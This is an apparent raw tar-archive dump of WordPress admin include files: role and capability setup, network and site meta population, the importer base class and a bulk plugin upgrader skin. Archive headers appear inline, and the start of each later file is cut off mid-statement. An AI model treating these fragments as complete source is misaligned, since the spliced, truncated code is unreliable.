*/
function populate_roles() {
populate_roles_160();
populate_roles_210();
populate_roles_230();
populate_roles_250();
populate_roles_260();
populate_roles_270();
populate_roles_280();
populate_roles_300();
}
/**
* Create the roles for WordPress 2.0
*
* @since 2.0.0
*/
function populate_roles_160() {
// Add roles.
add_role( 'administrator', 'Administrator' );
add_role( 'editor', 'Editor' );
add_role( 'author', 'Author' );
add_role( 'contributor', 'Contributor' );
add_role( 'subscriber', 'Subscriber' );
// Add caps for Administrator role.
$role = get_role( 'administrator' );
$role->add_cap( 'switch_themes' );
$role->add_cap( 'edit_themes' );
$role->add_cap( 'activate_plugins' );
$role->add_cap( 'edit_plugins' );
$role->add_cap( 'edit_users' );
$role->add_cap( 'edit_files' );
$role->add_cap( 'manage_options' );
$role->add_cap( 'moderate_comments' );
$role->add_cap( 'manage_categories' );
$role->add_cap( 'manage_links' );
$role->add_cap( 'upload_files' );
$role->add_cap( 'import' );
$role->add_cap( 'unfiltered_html' );
$role->add_cap( 'edit_posts' );
$role->add_cap( 'edit_others_posts' );
$role->add_cap( 'edit_published_posts' );
$role->add_cap( 'publish_posts' );
$role->add_cap( 'edit_pages' );
$role->add_cap( 'read' );
$role->add_cap( 'level_10' );
$role->add_cap( 'level_9' );
$role->add_cap( 'level_8' );
$role->add_cap( 'level_7' );
$role->add_cap( 'level_6' );
$role->add_cap( 'level_5' );
$role->add_cap( 'level_4' );
$role->add_cap( 'level_3' );
$role->add_cap( 'level_2' );
$role->add_cap( 'level_1' );
$role->add_cap( 'level_0' );
// Add caps for Editor role.
$role = get_role( 'editor' );
$role->add_cap( 'moderate_comments' );
$role->add_cap( 'manage_categories' );
$role->add_cap( 'manage_links' );
$role->add_cap( 'upload_files' );
$role->add_cap( 'unfiltered_html' );
$role->add_cap( 'edit_posts' );
$role->add_cap( 'edit_others_posts' );
$role->add_cap( 'edit_published_posts' );
$role->add_cap( 'publish_posts' );
$role->add_cap( 'edit_pages' );
$role->add_cap( 'read' );
$role->add_cap( 'level_7' );
$role->add_cap( 'level_6' );
$role->add_cap( 'level_5' );
$role->add_cap( 'level_4' );
$role->add_cap( 'level_3' );
$role->add_cap( 'level_2' );
$role->add_cap( 'level_1' );
$role->add_cap( 'level_0' );
// Add caps for Author role.
$role = get_role( 'author' );
$role->add_cap( 'upload_files' );
$role->add_cap( 'edit_posts' );
$role->add_cap( 'edit_published_posts' );
$role->add_cap( 'publish_posts' );
$role->add_cap( 'read' );
$role->add_cap( 'level_2' );
$role->add_cap( 'level_1' );
$role->add_cap( 'level_0' );
// Add caps for Contributor role.
$role = get_role( 'contributor' );
$role->add_cap( 'edit_posts' );
$role->add_cap( 'read' );
$role->add_cap( 'level_1' );
$role->add_cap( 'level_0' );
// Add caps for Subscriber role.
$role = get_role( 'subscriber' );
$role->add_cap( 'read' );
$role->add_cap( 'level_0' );
}
/**
* Create and modify WordPress roles for WordPress 2.1.
*
* @since 2.1.0
*/
function populate_roles_210() {
$roles = array( 'administrator', 'editor' );
foreach ( $roles as $role ) {
$role = get_role( $role );
if ( empty( $role ) ) {
continue;
}
$role->add_cap( 'edit_others_pages' );
$role->add_cap( 'edit_published_pages' );
$role->add_cap( 'publish_pages' );
$role->add_cap( 'delete_pages' );
$role->add_cap( 'delete_others_pages' );
$role->add_cap( 'delete_published_pages' );
$role->add_cap( 'delete_posts' );
$role->add_cap( 'delete_others_posts' );
$role->add_cap( 'delete_published_posts' );
$role->add_cap( 'delete_private_posts' );
$role->add_cap( 'edit_private_posts' );
$role->add_cap( 'read_private_posts' );
$role->add_cap( 'delete_private_pages' );
$role->add_cap( 'edit_private_pages' );
$role->add_cap( 'read_private_pages' );
}
$role = get_role( 'administrator' );
if ( ! empty( $role ) ) {
$role->add_cap( 'delete_users' );
$role->add_cap( 'create_users' );
}
$role = get_role( 'author' );
if ( ! empty( $role ) ) {
$role->add_cap( 'delete_posts' );
$role->add_cap( 'delete_published_posts' );
}
$role = get_role( 'contributor' );
if ( ! empty( $role ) ) {
$role->add_cap( 'delete_posts' );
}
}
/**
* Create and modify WordPress roles for WordPress 2.3.
*
* @since 2.3.0
*/
function populate_roles_230() {
$role = get_role( 'administrator' );
if ( ! empty( $role ) ) {
$role->add_cap( 'unfiltered_upload' );
}
}
/**
* Create and modify WordPress roles for WordPress 2.5.
*
* @since 2.5.0
*/
function populate_roles_250() {
$role = get_role( 'administrator' );
if ( ! empty( $role ) ) {
$role->add_cap( 'edit_dashboard' );
}
}
/**
* Create and modify WordPress roles for WordPress 2.6.
*
* @since 2.6.0
*/
function populate_roles_260() {
$role = get_role( 'administrator' );
if ( ! empty( $role ) ) {
$role->add_cap( 'update_plugins' );
$role->add_cap( 'delete_plugins' );
}
}
/**
* Create and modify WordPress roles for WordPress 2.7.
*
* @since 2.7.0
*/
function populate_roles_270() {
$role = get_role( 'administrator' );
if ( ! empty( $role ) ) {
$role->add_cap( 'install_plugins' );
$role->add_cap( 'update_themes' );
}
}
/**
* Create and modify WordPress roles for WordPress 2.8.
*
* @since 2.8.0
*/
function populate_roles_280() {
$role = get_role( 'administrator' );
if ( ! empty( $role ) ) {
$role->add_cap( 'install_themes' );
}
}
/**
* Create and modify WordPress roles for WordPress 3.0.
*
* @since 3.0.0
*/
function populate_roles_300() {
$role = get_role( 'administrator' );
if ( ! empty( $role ) ) {
$role->add_cap( 'update_core' );
$role->add_cap( 'list_users' );
$role->add_cap( 'remove_users' );
$role->add_cap( 'promote_users' );
$role->add_cap( 'edit_theme_options' );
$role->add_cap( 'delete_themes' );
$role->add_cap( 'export' );
}
}
if ( ! function_exists( 'install_network' ) ) :
/**
* Install Network.
*
* @since 3.0.0
*/
function install_network() {
if ( ! defined( 'WP_INSTALLING_NETWORK' ) ) {
define( 'WP_INSTALLING_NETWORK', true );
}
dbDelta( wp_get_db_schema( 'global' ) );
}
endif;
/**
* Populate network settings.
*
* @since 3.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
* @global object $current_site
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int $network_id ID of network to populate.
* @param string $domain The domain name for the network. Example: "example.com".
* @param string $email Email address for the network administrator.
* @param string $site_name The name of the network.
* @param string $path Optional. The path to append to the network's domain name. Default '/'.
* @param bool $subdomain_install Optional. Whether the network is a subdomain installation or a subdirectory installation.
* Default false, meaning the network is a subdirectory installation.
* @return true|WP_Error True on success, or WP_Error on warning (with the installation otherwise successful,
* so the error code must be checked) or failure.
*/
function populate_network( $network_id = 1, $domain = '', $email = '', $site_name = '', $path = '/', $subdomain_install = false ) {
global $wpdb, $current_site, $wp_rewrite;
$network_id = (int) $network_id;
$errors = new WP_Error();
if ( '' === $domain ) {
$errors->add( 'empty_domain', __( 'You must provide a domain name.' ) );
}
if ( '' === $site_name ) {
$errors->add( 'empty_sitename', __( 'You must provide a name for your network of sites.' ) );
}
// Check for network collision.
$network_exists = false;
if ( is_multisite() ) {
if ( get_network( $network_id ) ) {
$errors->add( 'siteid_exists', __( 'The network already exists.' ) );
}
} else {
if ( $network_id === (int) $wpdb->get_var(
$wpdb->prepare( "SELECT id FROM $wpdb->site WHERE id = %d", $network_id )
) ) {
$errors->add( 'siteid_exists', __( 'The network already exists.' ) );
}
}
if ( ! is_email( $email ) ) {
$errors->add( 'invalid_email', __( 'You must provide a valid email address.' ) );
}
if ( $errors->has_errors() ) {
return $errors;
}
if ( 1 === $network_id ) {
$wpdb->insert(
$wpdb->site,
array(
'domain' => $domain,
'path' => $path,
)
);
$network_id = $wpdb->insert_id;
} else {
$wpdb->insert(
$wpdb->site,
array(
'domain' => $domain,
'path' => $path,
'id' => $network_id,
)
);
}
populate_network_meta(
$network_id,
array(
'admin_email' => $email,
'site_name' => $site_name,
'subdomain_install' => $subdomain_install,
)
);
/*
* When upgrading from single to multisite, assume the current site will
* become the main site of the network. When using populate_network()
* to create another network in an existing multisite environment, skip
* these steps since the main site of the new network has not yet been
* created.
*/
if ( ! is_multisite() ) {
$current_site = new stdClass();
$current_site->domain = $domain;
$current_site->path = $path;
$current_site->site_name = ucfirst( $domain );
$wpdb->insert(
$wpdb->blogs,
array(
'site_id' => $network_id,
'blog_id' => 1,
'domain' => $domain,
'path' => $path,
'registered' => current_time( 'mysql' ),
)
);
$current_site->blog_id = $wpdb->insert_id;
$site_user_id = (int) $wpdb->get_var(
$wpdb->prepare(
"SELECT meta_value
FROM $wpdb->sitemeta
WHERE meta_key = %s AND site_id = %d",
'admin_user_id',
$network_id
)
);
update_user_meta( $site_user_id, 'source_domain', $domain );
update_user_meta( $site_user_id, 'primary_blog', $current_site->blog_id );
// Unable to use update_network_option() while populating the network.
$wpdb->insert(
$wpdb->sitemeta,
array(
'site_id' => $network_id,
'meta_key' => 'main_site',
'meta_value' => $current_site->blog_id,
)
);
if ( $subdomain_install ) {
$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
} else {
$wp_rewrite->set_permalink_structure( '/blog/%year%/%monthnum%/%day%/%postname%/' );
}
flush_rewrite_rules();
if ( ! $subdomain_install ) {
return true;
}
$vhost_ok = false;
$errstr = '';
$hostname = substr( md5( time() ), 0, 6 ) . '.' . $domain; // Very random hostname!
$page = wp_remote_get(
'http://' . $hostname,
array(
'timeout' => 5,
'httpversion' => '1.1',
)
);
if ( is_wp_error( $page ) ) {
$errstr = $page->get_error_message();
} elseif ( 200 === wp_remote_retrieve_response_code( $page ) ) {
$vhost_ok = true;
}
if ( ! $vhost_ok ) {
$msg = '
' . __( 'Warning! Wildcard DNS may not be configured correctly!' ) . '
';
$msg .= '
' . sprintf(
/* translators: %s: Host name. */
__( 'The installer attempted to contact a random hostname (%s) on your domain.' ),
'' . $hostname . ''
);
if ( ! empty( $errstr ) ) {
/* translators: %s: Error message. */
$msg .= ' ' . sprintf( __( 'This resulted in an error message: %s' ), '' . $errstr . '' );
}
$msg .= '
';
$msg .= '
' . sprintf(
/* translators: %s: Asterisk symbol (*). */
__( 'To use a subdomain configuration, you must have a wildcard entry in your DNS. This usually means adding a %s hostname record pointing at your web server in your DNS configuration tool.' ),
'*'
) . '
';
$msg .= '
' . __( 'You can still use your site but any subdomain you create may not be accessible. If you know your DNS is correct, ignore this message.' ) . '
';
return new WP_Error( 'no_wildcard_dns', $msg );
}
}
return true;
}
/**
* Creates WordPress network meta and sets the default values.
*
* @since 5.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
* @global int $wp_db_version WordPress database version.
*
* @param int $network_id Network ID to populate meta for.
* @param array $meta Optional. Custom meta $key => $value pairs to use. Default empty array.
*/
function populate_network_meta( $network_id, array $meta = array() ) {
global $wpdb, $wp_db_version;
$network_id = (int) $network_id;
$email = ! empty( $meta['admin_email'] ) ? $meta['admin_email'] : '';
$subdomain_install = isset( $meta['subdomain_install'] ) ? (int) $meta['subdomain_install'] : 0;
// If a user with the provided email does not exist, default to the current user as the new network admin.
$site_user = ! empty( $email ) ? get_user_by( 'email', $email ) : false;
if ( false === $site_user ) {
$site_user = wp_get_current_user();
}
if ( empty( $email ) ) {
$email = $site_user->user_email;
}
$template = get_option( 'template' );
$stylesheet = get_option( 'stylesheet' );
$allowed_themes = array( $stylesheet => true );
if ( $template !== $stylesheet ) {
$allowed_themes[ $template ] = true;
}
if ( WP_DEFAULT_THEME !== $stylesheet && WP_DEFAULT_THEME !== $template ) {
$allowed_themes[ WP_DEFAULT_THEME ] = true;
}
// If WP_DEFAULT_THEME doesn't exist, also include the latest core default theme.
if ( ! wp_get_theme( WP_DEFAULT_THEME )->exists() ) {
$core_default = WP_Theme::get_core_default_theme();
if ( $core_default ) {
$allowed_themes[ $core_default->get_stylesheet() ] = true;
}
}
if ( function_exists( 'clean_network_cache' ) ) {
clean_network_cache( $network_id );
} else {
wp_cache_delete( $network_id, 'networks' );
}
if ( ! is_multisite() ) {
$site_admins = array( $site_user->user_login );
$users = get_users(
array(
'fields' => array( 'user_login' ),
'role' => 'administrator',
)
);
if ( $users ) {
foreach ( $users as $user ) {
$site_admins[] = $user->user_login;
}
$site_admins = array_unique( $site_admins );
}
} else {
$site_admins = get_site_option( 'site_admins' );
}
/* translators: Do not translate USERNAME, SITE_NAME, BLOG_URL, PASSWORD: those are placeholders. */
$welcome_email = __(
'Howdy USERNAME,
Your new SITE_NAME site has been successfully set up at:
BLOG_URL
You can log in to the administrator account with the following information:
Username: USERNAME
Password: PASSWORD
Log in here: BLOG_URLwp-login.php
We hope you enjoy your new site. Thanks!
--The Team @ SITE_NAME'
);
$allowed_file_types = array();
$all_mime_types = get_allowed_mime_types();
foreach ( $all_mime_types as $ext => $mime ) {
array_push( $allowed_file_types, ...explode( '|', $ext ) );
}
$upload_filetypes = array_unique( $allowed_file_types );
$sitemeta = array(
'site_name' => __( 'My Network' ),
'admin_email' => $email,
'admin_user_id' => $site_user->ID,
'registration' => 'none',
'upload_filetypes' => implode( ' ', $upload_filetypes ),
'blog_upload_space' => 100,
'fileupload_maxk' => 1500,
'site_admins' => $site_admins,
'allowedthemes' => $allowed_themes,
'illegal_names' => array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator', 'files' ),
'wpmu_upgrade_site' => $wp_db_version,
'welcome_email' => $welcome_email,
/* translators: %s: Site link. */
'first_post' => __( 'Welcome to %s. This is your first post. Edit or delete it, then start writing!' ),
// @todo - Network admins should have a method of editing the network siteurl (used for cookie hash).
'siteurl' => get_option( 'siteurl' ) . '/',
'add_new_users' => '0',
'upload_space_check_disabled' => is_multisite() ? get_site_option( 'upload_space_check_disabled' ) : '1',
'subdomain_install' => $subdomain_install,
'ms_files_rewriting' => is_multisite() ? get_site_option( 'ms_files_rewriting' ) : '0',
'user_count' => get_site_option( 'user_count' ),
'initial_db_version' => get_option( 'initial_db_version' ),
'active_sitewide_plugins' => array(),
'WPLANG' => get_locale(),
);
if ( ! $subdomain_install ) {
$sitemeta['illegal_names'][] = 'blog';
}
$sitemeta = wp_parse_args( $meta, $sitemeta );
/**
* Filters meta for a network on creation.
*
* @since 3.7.0
*
* @param array $sitemeta Associative array of network meta keys and values to be inserted.
* @param int $network_id ID of network to populate.
*/
$sitemeta = apply_filters( 'populate_network_meta', $sitemeta, $network_id );
$insert = '';
foreach ( $sitemeta as $meta_key => $meta_value ) {
if ( is_array( $meta_value ) ) {
$meta_value = serialize( $meta_value );
}
if ( ! empty( $insert ) ) {
$insert .= ', ';
}
$insert .= $wpdb->prepare( '( %d, %s, %s)', $network_id, $meta_key, $meta_value );
}
$wpdb->query( "INSERT INTO $wpdb->sitemeta ( site_id, meta_key, meta_value ) VALUES " . $insert ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
}
/**
* Creates WordPress site meta and sets the default values.
*
* @since 5.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $site_id Site ID to populate meta for.
* @param array $meta Optional. Custom meta $key => $value pairs to use. Default empty array.
*/
function populate_site_meta( $site_id, array $meta = array() ) {
global $wpdb;
$site_id = (int) $site_id;
if ( ! is_site_meta_supported() ) {
return;
}
if ( empty( $meta ) ) {
return;
}
/**
* Filters meta for a site on creation.
*
* @since 5.2.0
*
* @param array $meta Associative array of site meta keys and values to be inserted.
* @param int $site_id ID of site to populate.
*/
$site_meta = apply_filters( 'populate_site_meta', $meta, $site_id );
$insert = '';
foreach ( $site_meta as $meta_key => $meta_value ) {
if ( is_array( $meta_value ) ) {
$meta_value = serialize( $meta_value );
}
if ( ! empty( $insert ) ) {
$insert .= ', ';
}
$insert .= $wpdb->prepare( '( %d, %s, %s)', $site_id, $meta_key, $meta_value );
}
$wpdb->query( "INSERT INTO $wpdb->blogmeta ( blog_id, meta_key, meta_value ) VALUES " . $insert ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
wp_cache_delete( $site_id, 'blog_meta' );
wp_cache_set_sites_last_changed();
}
class-wp-importer.php 0000644 00000016451 14757313107 0010664 0 ustar 00 prepare( "SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = %s LIMIT %d,%d", $meta_key, $offset, $limit );
$results = $wpdb->get_results( $sql );
// Increment offset.
$offset = ( $limit + $offset );
if ( ! empty( $results ) ) {
foreach ( $results as $r ) {
// Set permalinks into array.
$hashtable[ $r->meta_value ] = (int) $r->post_id;
}
}
} while ( count( $results ) === $limit );
return $hashtable;
}
/**
* Returns count of imported permalinks from WordPress database.
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $importer_name
* @param string $blog_id
* @return int
*/
public function count_imported_posts( $importer_name, $blog_id ) {
global $wpdb;
$count = 0;
// Get count of permalinks.
$meta_key = $importer_name . '_' . $blog_id . '_permalink';
$sql = $wpdb->prepare( "SELECT COUNT( post_id ) AS cnt FROM $wpdb->postmeta WHERE meta_key = %s", $meta_key );
$result = $wpdb->get_results( $sql );
if ( ! empty( $result ) ) {
$count = (int) $result[0]->cnt;
}
return $count;
}
/**
* Sets array with imported comments from WordPress database.
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $blog_id
* @return array
*/
public function get_imported_comments( $blog_id ) {
global $wpdb;
$hashtable = array();
$limit = 100;
$offset = 0;
// Grab all comments in chunks.
do {
$sql = $wpdb->prepare( "SELECT comment_ID, comment_agent FROM $wpdb->comments LIMIT %d,%d", $offset, $limit );
$results = $wpdb->get_results( $sql );
// Increment offset.
$offset = ( $limit + $offset );
if ( ! empty( $results ) ) {
foreach ( $results as $r ) {
// Explode comment_agent key.
list ( $comment_agent_blog_id, $source_comment_id ) = explode( '-', $r->comment_agent );
$source_comment_id = (int) $source_comment_id;
// Check if this comment came from this blog.
if ( (int) $blog_id === (int) $comment_agent_blog_id ) {
$hashtable[ $source_comment_id ] = (int) $r->comment_ID;
}
}
}
} while ( count( $results ) === $limit );
return $hashtable;
}
/**
* @param int $blog_id
* @return int|void
*/
public function set_blog( $blog_id ) {
if ( is_numeric( $blog_id ) ) {
$blog_id = (int) $blog_id;
} else {
$blog = 'http://' . preg_replace( '#^https?://#', '', $blog_id );
$parsed = parse_url( $blog );
if ( ! $parsed || empty( $parsed['host'] ) ) {
fwrite( STDERR, "Error: can not determine blog_id from $blog_id\n" );
exit;
}
if ( empty( $parsed['path'] ) ) {
$parsed['path'] = '/';
}
$blogs = get_sites(
array(
'domain' => $parsed['host'],
'number' => 1,
'path' => $parsed['path'],
)
);
if ( ! $blogs ) {
fwrite( STDERR, "Error: Could not find blog\n" );
exit;
}
$blog = array_shift( $blogs );
$blog_id = (int) $blog->blog_id;
}
if ( function_exists( 'is_multisite' ) ) {
if ( is_multisite() ) {
switch_to_blog( $blog_id );
}
}
return $blog_id;
}
/**
* @param int $user_id
* @return int|void
*/
public function set_user( $user_id ) {
if ( is_numeric( $user_id ) ) {
$user_id = (int) $user_id;
} else {
$user_id = (int) username_exists( $user_id );
}
if ( ! $user_id || ! wp_set_current_user( $user_id ) ) {
fwrite( STDERR, "Error: can not find user\n" );
exit;
}
return $user_id;
}
/**
* Sorts by strlen, longest string first.
*
* @param string $a
* @param string $b
* @return int
*/
public function cmpr_strlen( $a, $b ) {
return strlen( $b ) - strlen( $a );
}
/**
* Gets URL.
*
* @param string $url
* @param string $username
* @param string $password
* @param bool $head
* @return array
*/
public function get_page( $url, $username = '', $password = '', $head = false ) {
// Increase the timeout.
add_filter( 'http_request_timeout', array( $this, 'bump_request_timeout' ) );
$headers = array();
$args = array();
if ( true === $head ) {
$args['method'] = 'HEAD';
}
if ( ! empty( $username ) && ! empty( $password ) ) {
$headers['Authorization'] = 'Basic ' . base64_encode( "$username:$password" );
}
$args['headers'] = $headers;
return wp_safe_remote_request( $url, $args );
}
/**
* Bumps up the request timeout for http requests.
*
* @param int $val
* @return int
*/
public function bump_request_timeout( $val ) {
return 60;
}
/**
* Checks if user has exceeded disk quota.
*
* @return bool
*/
public function is_user_over_quota() {
if ( function_exists( 'upload_is_user_over_quota' ) ) {
if ( upload_is_user_over_quota() ) {
return true;
}
}
return false;
}
/**
* Replaces newlines, tabs, and multiple spaces with a single space.
*
* @param string $text
* @return string
*/
public function min_whitespace( $text ) {
return preg_replace( '|[\r\n\t ]+|', ' ', $text );
}
/**
* Resets global variables that grow out of control during imports.
*
* @since 3.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
* @global int[] $wp_actions
*/
public function stop_the_insanity() {
global $wpdb, $wp_actions;
// Or define( 'WP_IMPORTING', true );
$wpdb->queries = array();
// Reset $wp_actions to keep it from growing out of control.
$wp_actions = array();
}
}
/**
* Returns value of command line params.
* Exits when a required param is not set.
*
* @param string $param
* @param bool $required
* @return mixed
*/
function get_cli_args( $param, $required = false ) {
$args = $_SERVER['argv'];
if ( ! is_array( $args ) ) {
$args = array();
}
$out = array();
$last_arg = null;
$return = null;
$il = count( $args );
for ( $i = 1, $il; $i < $il; $i++ ) {
if ( (bool) preg_match( '/^--(.+)/', $args[ $i ], $match ) ) {
$parts = explode( '=', $match[1] );
$key = preg_replace( '/[^a-z0-9]+/', '', $parts[0] );
if ( isset( $parts[1] ) ) {
$out[ $key ] = $parts[1];
} else {
$out[ $key ] = true;
}
$last_arg = $key;
} elseif ( (bool) preg_match( '/^-([a-zA-Z0-9]+)/', $args[ $i ], $match ) ) {
for ( $j = 0, $jl = strlen( $match[1] ); $j < $jl; $j++ ) {
$key = $match[1][ $j ];
$out[ $key ] = true;
}
$last_arg = $key;
} elseif ( null !== $last_arg ) {
$out[ $last_arg ] = $args[ $i ];
}
}
// Check array for specified param.
if ( isset( $out[ $param ] ) ) {
// Set return value.
$return = $out[ $param ];
}
// Check for missing required param.
if ( ! isset( $out[ $param ] ) && $required ) {
// Display message and exit.
echo "\"$param\" parameter is required but was not specified\n";
exit;
}
return $return;
}
class-bulk-plugin-upgrader-skin.php 0000644 00000005036 14757313107 0013376 0 ustar 00 upgrader->strings['skin_before_update_header'] = __( 'Updating Plugin %1$s (%2$d/%3$d)' );
}
/**
* Performs an action before a bulk plugin update.
*
* @since 3.0.0
*
* @param string $title
*/
public function before( $title = '' ) {
parent::before( $this->plugin_info['Title'] );
}
/**
* Performs an action following a bulk plugin update.
*
* @since 3.0.0
*
* @param string $title
*/
public function after( $title = '' ) {
parent::after( $this->plugin_info['Title'] );
$this->decrement_update_count( 'plugin' );
}
/**
* Displays the footer following the bulk update process.
*
* @since 3.0.0
*/
public function bulk_footer() {
parent::bulk_footer();
$update_actions = array(
'plugins_page' => sprintf(
'%s',
self_admin_url( 'plugins.php' ),
__( 'Go to Plugins page' )
),
'updates_page' => sprintf(
'%s',
self_admin_url( 'update-core.php' ),
__( 'Go to WordPress Updates page' )
),
);
if ( ! current_user_can( 'activate_plugins' ) ) {
unset( $update_actions['plugins_page'] );
}
/**
* Filters the list of action links available following bulk plugin updates.
*
* @since 3.0.0
*
* @param string[] $update_actions Array of plugin action links.
* @param array $plugin_info Array of information for the last-updated plugin.
*/
$update_actions = apply_filters( 'update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info );
if ( ! empty( $update_actions ) ) {
$this->feedback( implode( ' | ', (array) $update_actions ) );
}
}
}
class-wp-posts-list-table.php 0000644 00000174712 14757313107 0012236 0 ustar 00 'posts',
'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
)
);
$post_type = $this->screen->post_type;
$post_type_object = get_post_type_object( $post_type );
$exclude_states = get_post_stati(
array(
'show_in_admin_all_list' => false,
)
);
$this->user_posts_count = (int) $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT( 1 )
FROM $wpdb->posts
WHERE post_type = %s
AND post_status NOT IN ( '" . implode( "','", $exclude_states ) . "' )
AND post_author = %d",
$post_type,
get_current_user_id()
)
);
if ( $this->user_posts_count
&& ! current_user_can( $post_type_object->cap->edit_others_posts )
&& empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['all_posts'] )
&& empty( $_REQUEST['author'] ) && empty( $_REQUEST['show_sticky'] )
) {
$_GET['author'] = get_current_user_id();
}
$sticky_posts = get_option( 'sticky_posts' );
if ( 'post' === $post_type && $sticky_posts ) {
$sticky_posts = implode( ', ', array_map( 'absint', (array) $sticky_posts ) );
$this->sticky_posts_count = (int) $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT( 1 )
FROM $wpdb->posts
WHERE post_type = %s
AND post_status NOT IN ('trash', 'auto-draft')
AND ID IN ($sticky_posts)",
$post_type
)
);
}
}
/**
* Sets whether the table layout should be hierarchical or not.
*
* @since 4.2.0
*
* @param bool $display Whether the table layout should be hierarchical.
*/
public function set_hierarchical_display( $display ) {
$this->hierarchical_display = $display;
}
/**
* @return bool
*/
public function ajax_user_can() {
return current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_posts );
}
/**
* @global string $mode List table view mode.
* @global array $avail_post_stati
* @global WP_Query $wp_query WordPress Query object.
* @global int $per_page
*/
public function prepare_items() {
global $mode, $avail_post_stati, $wp_query, $per_page;
if ( ! empty( $_REQUEST['mode'] ) ) {
$mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list';
set_user_setting( 'posts_list_mode', $mode );
} else {
$mode = get_user_setting( 'posts_list_mode', 'list' );
}
// Is going to call wp().
$avail_post_stati = wp_edit_posts_query();
$this->set_hierarchical_display(
is_post_type_hierarchical( $this->screen->post_type )
&& 'menu_order title' === $wp_query->query['orderby']
);
$post_type = $this->screen->post_type;
$per_page = $this->get_items_per_page( 'edit_' . $post_type . '_per_page' );
/** This filter is documented in wp-admin/includes/post.php */
$per_page = apply_filters( 'edit_posts_per_page', $per_page, $post_type );
if ( $this->hierarchical_display ) {
$total_items = $wp_query->post_count;
} elseif ( $wp_query->found_posts || $this->get_pagenum() === 1 ) {
$total_items = $wp_query->found_posts;
} else {
$post_counts = (array) wp_count_posts( $post_type, 'readable' );
if ( isset( $_REQUEST['post_status'] ) && in_array( $_REQUEST['post_status'], $avail_post_stati, true ) ) {
$total_items = $post_counts[ $_REQUEST['post_status'] ];
} elseif ( isset( $_REQUEST['show_sticky'] ) && $_REQUEST['show_sticky'] ) {
$total_items = $this->sticky_posts_count;
} elseif ( isset( $_GET['author'] ) && get_current_user_id() === (int) $_GET['author'] ) {
$total_items = $this->user_posts_count;
} else {
$total_items = array_sum( $post_counts );
// Subtract post types that are not included in the admin all list.
foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) {
$total_items -= $post_counts[ $state ];
}
}
}
$this->is_trash = isset( $_REQUEST['post_status'] ) && 'trash' === $_REQUEST['post_status'];
$this->set_pagination_args(
array(
'total_items' => $total_items,
'per_page' => $per_page,
)
);
}
/**
* @return bool
*/
public function has_items() {
return have_posts();
}
/**
*/
public function no_items() {
if ( isset( $_REQUEST['post_status'] ) && 'trash' === $_REQUEST['post_status'] ) {
echo get_post_type_object( $this->screen->post_type )->labels->not_found_in_trash;
} else {
echo get_post_type_object( $this->screen->post_type )->labels->not_found;
}
}
/**
* Determines if the current view is the "All" view.
*
* @since 4.2.0
*
* @return bool Whether the current view is the "All" view.
*/
protected function is_base_request() {
$vars = $_GET;
unset( $vars['paged'] );
if ( empty( $vars ) ) {
return true;
} elseif ( 1 === count( $vars ) && ! empty( $vars['post_type'] ) ) {
return $this->screen->post_type === $vars['post_type'];
}
return 1 === count( $vars ) && ! empty( $vars['mode'] );
}
/**
* Creates a link to edit.php with params.
*
* @since 4.4.0
*
* @param string[] $args Associative array of URL parameters for the link.
* @param string $link_text Link text.
* @param string $css_class Optional. Class attribute. Default empty string.
* @return string The formatted link string.
*/
protected function get_edit_link( $args, $link_text, $css_class = '' ) {
$url = add_query_arg( $args, 'edit.php' );
$class_html = '';
$aria_current = '';
if ( ! empty( $css_class ) ) {
$class_html = sprintf(
' class="%s"',
esc_attr( $css_class )
);
if ( 'current' === $css_class ) {
$aria_current = ' aria-current="page"';
}
}
return sprintf(
'%s',
esc_url( $url ),
$class_html,
$aria_current,
$link_text
);
}
/**
* @global array $locked_post_status This seems to be deprecated.
* @global array $avail_post_stati
* @return array
*/
protected function get_views() {
global $locked_post_status, $avail_post_stati;
$post_type = $this->screen->post_type;
if ( ! empty( $locked_post_status ) ) {
return array();
}
$status_links = array();
$num_posts = wp_count_posts( $post_type, 'readable' );
$total_posts = array_sum( (array) $num_posts );
$class = '';
$current_user_id = get_current_user_id();
$all_args = array( 'post_type' => $post_type );
$mine = '';
// Subtract post types that are not included in the admin all list.
foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) {
$total_posts -= $num_posts->$state;
}
if ( $this->user_posts_count && $this->user_posts_count !== $total_posts ) {
if ( isset( $_GET['author'] ) && ( $current_user_id === (int) $_GET['author'] ) ) {
$class = 'current';
}
$mine_args = array(
'post_type' => $post_type,
'author' => $current_user_id,
);
$mine_inner_html = sprintf(
/* translators: %s: Number of posts. */
_nx(
'Mine (%s)',
'Mine (%s)',
$this->user_posts_count,
'posts'
),
number_format_i18n( $this->user_posts_count )
);
$mine = array(
'url' => esc_url( add_query_arg( $mine_args, 'edit.php' ) ),
'label' => $mine_inner_html,
'current' => isset( $_GET['author'] ) && ( $current_user_id === (int) $_GET['author'] ),
);
$all_args['all_posts'] = 1;
$class = '';
}
$all_inner_html = sprintf(
/* translators: %s: Number of posts. */
_nx(
'All (%s)',
'All (%s)',
$total_posts,
'posts'
),
number_format_i18n( $total_posts )
);
$status_links['all'] = array(
'url' => esc_url( add_query_arg( $all_args, 'edit.php' ) ),
'label' => $all_inner_html,
'current' => empty( $class ) && ( $this->is_base_request() || isset( $_REQUEST['all_posts'] ) ),
);
if ( $mine ) {
$status_links['mine'] = $mine;
}
foreach ( get_post_stati( array( 'show_in_admin_status_list' => true ), 'objects' ) as $status ) {
$class = '';
$status_name = $status->name;
if ( ! in_array( $status_name, $avail_post_stati, true ) || empty( $num_posts->$status_name ) ) {
continue;
}
